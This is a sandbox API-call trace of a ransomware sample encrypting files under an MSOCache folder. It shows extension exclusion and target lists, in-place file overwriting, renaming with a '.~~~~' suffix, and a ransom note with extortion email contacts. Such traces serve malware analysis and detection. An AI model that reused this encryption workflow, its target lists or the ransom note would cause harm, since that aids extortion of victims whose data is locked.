	[0076.503] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab", lpSrch=".myd") returned 0x0
	[0076.503] lstrlenW (lpString=".DTXS") returned 5
	[0076.503] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab", lpSrch=".DTXS") returned 0x0
	[0076.503] lstrlenW (lpString=".ckp") returned 4
	[0076.503] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab", lpSrch=".ckp") returned 0x0
	[0076.503] lstrlenW (lpString=".dbt") returned 4
	[0076.503] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab", lpSrch=".dbt") returned 0x0
	[0076.503] lstrlenW (lpString=".db") returned 3
	[0076.503] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab", lpSrch=".db") returned 0x0
	[0076.503] lstrlenW (lpString=".TXT") returned 4
	[0076.503] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab", lpSrch=".TXT") returned 0x0
	[0076.503] lstrlenW (lpString=".MDF") returned 4
	[0076.503] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab", lpSrch=".MDF") returned 0x0
	[0076.503] lstrlenW (lpString=".bdb") returned 4
	[0076.503] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab", lpSrch=".bdb") returned 0x0
	[0076.503] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0076.503] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0076.503] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x27f3268
	[0076.504] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0076.504] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a00d0) returned 1
	[0076.505] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0076.505] CryptReleaseContext (hProv=0x3a00d0, dwFlags=0x0) returned 1
	[0076.505] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0076.505] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0076.505] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2802fd0
	[0076.506] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=19649578734) returned 1
	[0076.506] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x977f5ad0, dwHighDateTime=0x1d60e1e)) 
	[0076.506] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0076.506] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0076.506] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356fc0
	[0076.506] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3338
	[0076.506] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0076.506] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3338 | out: hHeap=0x300000) returned 1
	[0076.506] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0076.506] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0076.506] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e80c8
	[0076.506] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0076.506] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0076.506] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e80c8 | out: hHeap=0x300000) returned 1
	[0076.506] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0076.507] GetLastError () returned 0x0
	[0076.507] GetLastError () returned 0x0
	[0076.507] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0076.507] GetLastError () returned 0x0
	[0076.507] GetLastError () returned 0x0
	[0076.508] ReadFile (in: hFile=0x128, lpBuffer=0x2824fd8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0076.516] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0076.516] WriteFile (in: hFile=0x128, lpBuffer=0x2824fd8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0076.518] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824fd8 | out: hHeap=0x300000) returned 1
	[0076.519] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.519] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0076.521] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0076.521] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0076.521] CloseHandle (hObject=0x128) returned 1
	[0076.521] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a43e0
	[0076.521] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.~~~~" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab.~~~~")) returned 1
	[0076.522] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a43e0 | out: hHeap=0x300000) returned 1
	[0076.522] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356fc0 | out: hHeap=0x300000) returned 1
	[0076.522] GetLastError () returned 0x0
	[0076.522] RtlWakeConditionVariable () returned 0x365f70
	[0076.522] GetCurrentThreadId () returned 0x9f4
	[0076.522] GetCurrentThreadId () returned 0x9f4
	[0076.522] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7cd8
	[0076.522] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa310 | out: hHeap=0x300000) returned 1
	[0076.522] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3488 | out: hHeap=0x300000) returned 1
	[0076.522] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa310
	[0076.523] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Read~ME.txt" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0076.523] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0076.523] WriteFile (in: hFile=0x128, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x25dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x25dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0076.524] CloseHandle (hObject=0x128) returned 1
	[0076.524] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa310 | out: hHeap=0x300000) returned 1
	[0076.524] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7cd8 | out: hHeap=0x300000) returned 1
	[0076.524] RtlWakeConditionVariable () returned 0x365f70
	[0076.524] GetCurrentThreadId () returned 0x9f4
	[0076.524] GetCurrentThreadId () returned 0x9f4
	[0076.525] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0076.525] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7428 | out: hHeap=0x300000) returned 1
	[0076.525] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a34c0 | out: hHeap=0x300000) returned 1
	[0076.525] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7428
	[0076.525] lstrlenW (lpString=".scr") returned 4
	[0076.525] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\.", lpSrch=".scr") returned 0x0
	[0076.525] lstrlenW (lpString=".cmd") returned 4
	[0076.525] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\.", lpSrch=".cmd") returned 0x0
	[0076.525] lstrlenW (lpString=".dll") returned 4
	[0076.525] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\.", lpSrch=".dll") returned 0x0
	[0076.525] lstrlenW (lpString=".bat") returned 4
	[0076.525] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\.", lpSrch=".bat") returned 0x0
	[0076.525] lstrlenW (lpString=".cpl") returned 4
	[0076.525] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\.", lpSrch=".cpl") returned 0x0
	[0076.525] lstrlenW (lpString=".sys") returned 4
	[0076.525] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\.", lpSrch=".sys") returned 0x0
	[0076.525] lstrlenW (lpString=".msc") returned 4
	[0076.525] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\.", lpSrch=".msc") returned 0x0
	[0076.525] lstrlenW (lpString=".com") returned 4
	[0076.525] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\.", lpSrch=".com") returned 0x0
	[0076.525] lstrlenW (lpString=".lnk") returned 4
	[0076.525] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\.", lpSrch=".lnk") returned 0x0
	[0076.525] lstrlenW (lpString=".msp") returned 4
	[0076.525] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\.", lpSrch=".msp") returned 0x0
	[0076.525] lstrlenW (lpString=".pif") returned 4
	[0076.526] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\.", lpSrch=".pif") returned 0x0
	[0076.526] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0076.526] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\.", lpSrch="msp\r\n.pif") returned 0x0
	[0076.526] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\." (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0076.526] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7428 | out: hHeap=0x300000) returned 1
	[0076.526] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8008 | out: hHeap=0x300000) returned 1
	[0076.526] RtlWakeConditionVariable () returned 0x365f70
	[0076.526] GetCurrentThreadId () returned 0x9f4
	[0076.526] GetCurrentThreadId () returned 0x9f4
	[0076.526] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0076.526] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a74c0 | out: hHeap=0x300000) returned 1
	[0076.526] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a34f8 | out: hHeap=0x300000) returned 1
	[0076.526] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a74c0
	[0076.526] lstrlenW (lpString=".scr") returned 4
	[0076.526] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\..", lpSrch=".scr") returned 0x0
	[0076.527] lstrlenW (lpString=".cmd") returned 4
	[0076.527] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\..", lpSrch=".cmd") returned 0x0
	[0076.527] lstrlenW (lpString=".dll") returned 4
	[0076.527] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\..", lpSrch=".dll") returned 0x0
	[0076.527] lstrlenW (lpString=".bat") returned 4
	[0076.527] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\..", lpSrch=".bat") returned 0x0
	[0076.527] lstrlenW (lpString=".cpl") returned 4
	[0076.527] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\..", lpSrch=".cpl") returned 0x0
	[0076.527] lstrlenW (lpString=".sys") returned 4
	[0076.527] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\..", lpSrch=".sys") returned 0x0
	[0076.527] lstrlenW (lpString=".msc") returned 4
	[0076.527] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\..", lpSrch=".msc") returned 0x0
	[0076.527] lstrlenW (lpString=".com") returned 4
	[0076.527] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\..", lpSrch=".com") returned 0x0
	[0076.527] lstrlenW (lpString=".lnk") returned 4
	[0076.527] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\..", lpSrch=".lnk") returned 0x0
	[0076.527] lstrlenW (lpString=".msp") returned 4
	[0076.527] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\..", lpSrch=".msp") returned 0x0
	[0076.527] lstrlenW (lpString=".pif") returned 4
	[0076.527] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\..", lpSrch=".pif") returned 0x0
	[0076.527] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0076.527] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\..", lpSrch="msp\r\n.pif") returned 0x0
	[0076.527] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\.." (normalized: "c:\\msocache\\all users"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0076.527] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a74c0 | out: hHeap=0x300000) returned 1
	[0076.528] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8008 | out: hHeap=0x300000) returned 1
	[0076.528] RtlWakeConditionVariable () returned 0x365f70
	[0076.528] GetCurrentThreadId () returned 0x9f4
	[0076.528] GetCurrentThreadId () returned 0x9f4
	[0076.528] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b36f8
	[0076.528] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3ee8 | out: hHeap=0x300000) returned 1
	[0076.528] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3530 | out: hHeap=0x300000) returned 1
	[0076.528] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b3a18
	[0076.528] lstrlenW (lpString=".scr") returned 4
	[0076.528] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi", lpSrch=".scr") returned 0x0
	[0076.528] lstrlenW (lpString=".cmd") returned 4
	[0076.528] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi", lpSrch=".cmd") returned 0x0
	[0076.528] lstrlenW (lpString=".dll") returned 4
	[0076.528] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi", lpSrch=".dll") returned 0x0
	[0076.528] lstrlenW (lpString=".bat") returned 4
	[0076.528] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi", lpSrch=".bat") returned 0x0
	[0076.528] lstrlenW (lpString=".cpl") returned 4
	[0076.528] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi", lpSrch=".cpl") returned 0x0
	[0076.528] lstrlenW (lpString=".sys") returned 4
	[0076.528] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi", lpSrch=".sys") returned 0x0
	[0076.528] lstrlenW (lpString=".msc") returned 4
	[0076.528] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi", lpSrch=".msc") returned 0x0
	[0076.528] lstrlenW (lpString=".com") returned 4
	[0076.528] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi", lpSrch=".com") returned 0x0
	[0076.528] lstrlenW (lpString=".lnk") returned 4
	[0076.528] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi", lpSrch=".lnk") returned 0x0
	[0076.529] lstrlenW (lpString=".msp") returned 4
	[0076.529] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi", lpSrch=".msp") returned 0x0
	[0076.529] lstrlenW (lpString=".pif") returned 4
	[0076.529] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi", lpSrch=".pif") returned 0x0
	[0076.529] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0076.529] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi", lpSrch="msp\r\n.pif") returned 0x0
	[0076.529] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0076.531] lstrlenW (lpString=".sqb") returned 4
	[0076.531] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi", lpSrch=".sqb") returned 0x0
	[0076.531] lstrlenW (lpString=".ost") returned 4
	[0076.531] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi", lpSrch=".ost") returned 0x0
	[0076.531] lstrlenW (lpString=".txt") returned 4
	[0076.531] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi", lpSrch=".txt") returned 0x0
	[0076.531] lstrlenW (lpString=".mdt") returned 4
	[0076.531] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi", lpSrch=".mdt") returned 0x0
	[0076.531] lstrlenW (lpString=".BDB") returned 4
	[0076.531] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi", lpSrch=".BDB") returned 0x0
	[0076.531] lstrlenW (lpString=".eql") returned 4
	[0076.531] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi", lpSrch=".eql") returned 0x0
	[0076.531] lstrlenW (lpString=".DBF") returned 4
	[0076.531] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi", lpSrch=".DBF") returned 0x0
	[0076.531] lstrlenW (lpString=".EQL") returned 4
	[0076.531] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi", lpSrch=".EQL") returned 0x0
	[0076.531] lstrlenW (lpString=".FDB") returned 4
	[0076.531] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi", lpSrch=".FDB") returned 0x0
	[0076.532] lstrlenW (lpString=".EDB") returned 4
	[0076.532] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi", lpSrch=".EDB") returned 0x0
	[0076.532] lstrlenW (lpString=".DACPAC") returned 7
	[0076.532] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi", lpSrch=".DACPAC") returned 0x0
	[0076.532] lstrlenW (lpString=".VHD") returned 4
	[0076.532] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi", lpSrch=".VHD") returned 0x0
	[0076.532] lstrlenW (lpString=".DBV") returned 4
	[0076.532] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi", lpSrch=".DBV") returned 0x0
	[0076.532] lstrlenW (lpString=".dacpac") returned 7
	[0076.532] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi", lpSrch=".dacpac") returned 0x0
	[0076.532] lstrlenW (lpString=".sdf") returned 4
	[0076.532] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi", lpSrch=".sdf") returned 0x0
	[0076.532] lstrlenW (lpString=".accdb") returned 6
	[0076.532] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi", lpSrch=".accdb") returned 0x0
	[0076.532] lstrlenW (lpString=".DBX") returned 4
	[0076.532] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi", lpSrch=".DBX") returned 0x0
	[0076.532] lstrlenW (lpString=".MDT") returned 4
	[0076.532] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi", lpSrch=".MDT") returned 0x0
	[0076.532] lstrlenW (lpString=".SQB") returned 4
	[0076.532] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi", lpSrch=".SQB") returned 0x0
	[0076.532] lstrlenW (lpString=".vhd") returned 4
	[0076.532] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi", lpSrch=".vhd") returned 0x0
	[0076.532] lstrlenW (lpString=".bac") returned 4
	[0076.532] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi", lpSrch=".bac") returned 0x0
	[0076.532] lstrlenW (lpString=".mdf") returned 4
	[0076.533] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi", lpSrch=".mdf") returned 0x0
	[0076.533] lstrlenW (lpString=".BAK") returned 4
	[0076.533] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi", lpSrch=".BAK") returned 0x0
